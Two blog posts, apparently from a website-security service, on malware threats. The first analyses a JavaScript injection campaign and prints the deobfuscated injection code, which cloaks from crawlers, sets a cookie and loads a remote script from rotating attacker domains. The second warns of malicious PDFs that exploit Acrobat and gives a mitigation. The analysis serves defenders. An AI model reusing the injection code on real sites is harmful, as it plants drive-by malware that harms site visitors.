By

toobarcom, mybar, adsnet infections

Over the past week or so, we’ve been fighting a new website infection. At first, it appeared to be infecting just one hosting provider, but as we investigated further, we found it was affecting websites on many hosting providers. I’m sorry that it’s taken so long to write about this but we’ve been seeing various new backdoors added to sites and I wanted to fully analyze those before writing this.

What we’re seeing is a malscript inserted either immediately before the legitimate code in certain .js (javascript) files or inserted in html and php files. If it’s in a .js file, you have to be careful because it appears to be part of the entire javascript code. There’s no spaces or line breaks between the malicious code and the legitimate code.

In .html and .php files we’ve usually seen it enclosed by ‘ads’ tags and script tags.

We’ve seen two variations of the malicious code:

The first one starts with:

var st1 = ;this.b=this.M="";this.A="";this.w=false;""...

and ends with:

var gr0=0;

The second starts with:
var st1 = 0;document. write( unescape('%3C%73...

and ends with:

gr0=0;

We’ll examine each one here to let you know what they’re doing.

The first one deobfuscates to this:

var a=window.navigator.userAgent,b=/(yahoo|search|msnbot|yandex|googlebot|bing|ask)/i,c=navigator.appVersion; if(document.cookie.indexOf("holycookie")==-1&&!a.toLowerCase().match(b)&&c.toLowerCase().indexOf("win")!=-1){var d=["myads.name","adsnet.biz","toolbarcom.org","mybar.us","freead.name"],e=["axe.","box.","cox.","dex.","fax.","fix.","fox.","gox.","hex.","kex.","lax.","lex.",
"lox.","lux.","max.","mix.","nix.","oxo.","oxy.","pax.","pix.","pox.","pyx.","rax.",
"rex.","sax.","sex.","six.","sox.","tax.","tux.","vex.","vox.","wax.","xis.","zax."],
f=Math.floor(Math.random()*d.length),g=Math.floor(Math.random()*e.length);
dt=new Date;dt.setTime(dt.getTime()+9072E4);document.cookie="holycookie="+
escape("holycookie")+";expires="+dt.toGMTString()+";path=/";

document. write ('(script tag) src=" hxxp: // '+e[g]+d[f]+'/system/caption.js" type="text/javascript">(script tag)

When looking at this code, you’ll see that is uses a variety of user-agent strings:

  • yahoo
  • search
  • msnbot
  • yandex
  • googlebot
  • bing
  • ask

Then creates an array of domains:

  • myads.name
  • adsnet.biz
  • toolbarcom.org
  • mybar.us
  • freead.name

and then creates an array of prefixes:

  • axe.
  • box.
  • cox.
  • dex.
  • fax.
  • fix.
  • fox.
  • gox.
  • hex.
  • kex.
  • lax.
  • lex.
  • lox.
  • lux.
  • max.
  • mix.
  • nix.
  • oxo.
  • oxy.
  • pax.
  • pix.
  • pox.
  • pyx.
  • rax.
  • rex.
  • sax.
  • sex.
  • six.
  • sox.
  • tax.
  • tux.
  • vex.
  • vox.
  • wax.
  • xis.
  • zax.

When you consider the number of possible combinations of domains and subdomains, this becomes quite clear the hackers were looking to hide their locations.

The final part of the code puts it all together and adds a little more to the URL:

document. write(' (script tag) src="hxxp : //'+e[g]+d[f]+'/system/caption.js" type="text/javascript">(script tag)

adding the ‘/system/caption.js’ to the end of whatever domain string it’s built.

So a typical string after this first code is decoded might look like:

(script tag) type="text/javascript" src="hxxp: //mix.freead.name/system/caption.js">
(script tag)

The second obfuscated string from above, uses the same basic methodology but uses these domains:

  • edisonsnightclub.com
  • gaindirectory.org
  • ideacoreportal.com
  • karenegren.com

and appends one of these strings to the front:

  • aqua.
  • azure.
  • black.
  • blue.
  • brown.
  • chocolate.
  • coral.
  • cyan.
  • darkred.
  • fuchsia.
  • gold.
  • gray.
  • green.
  • indigo.
  • ivory.
  • khaki.
  • lime.
  • magenta.
  • maroon.
  • navy.
  • olive.
  • orange.
  • pink.
  • plum.
  • purple.
  • red.
  • silver.
  • snow.
  • violet.
  • white.
  • yellow.

This malscript creates a document.write string that uses one of the above prefixes, one of the above domains and adds ‘/data/mootools.js’ to the end to complete the malscript.

If you’re looking for this malscript in your website, please make sure you grab the entire line all the way to ‘var gr0=0;’ (without the quotes) and nothing more. Otherwise, your legitimate code won’t function properly and you’ll have to restore from backup. Which, may not be a bad thing – unless, of course, you don’t have a good backup.

We’re still investigating how this infection starts. At first we thought it was WordPress based sites only. Then we realized that it was also infecting non-Wordpress sites. It might be the old compromised FTP credentials, but we haven’t been able to gather all our data yet. When we do, we’ll post an update here.

We’re also going to post about the backdoors we’ve found and you can search your site for them as well.

Until then, if you’re infected with this or if Google shows any of these domains in your Safe Browsing Diagnostic report (http://www.google.com/safebrowsing/diagnostic?site=), and you’d like us to clean it for you, please send me an email at traef@wewatchyourwebsite.com

Thank you.

By

Malicious PDF's being sent

In the past 2 days we’ve been picking up malicious Adobe Acrobat files also known as PDF’s (the file extension on these files).

We received these files in our honeypots as email attachments and when clicked on they infect Windows XP SP3 systems with Adobe Acrobat 8.1.1, 8.1.2, 8.1.3 and 9.0.0. It appears that disabling JavaScript in your Adobe Acrobat Reader will eliminate the threat that this attack exploits.

To disable JavaScript in Adobe Acrobat Reader, open the program, click on Edit->Preferences->JavaScript then uncheck Enable Acrobat JavaScript. You may experience some program crashes even with JavaScript disabled, however, you will not become infected.

When a computer is infected, it will have these additional files:

  1. temp/svchost.exe
  2. temp/temp.exe
  3. system32/(8 random characters).dll

In addition the infected computer will open a backdoor that will allow the cybercriminal to remotely control the PC (it will become part of a botnet)

Of course, if you’re security system is blocking “exe” downloads from non-whitelisted sites, you don’t have worry about this. (The Box does)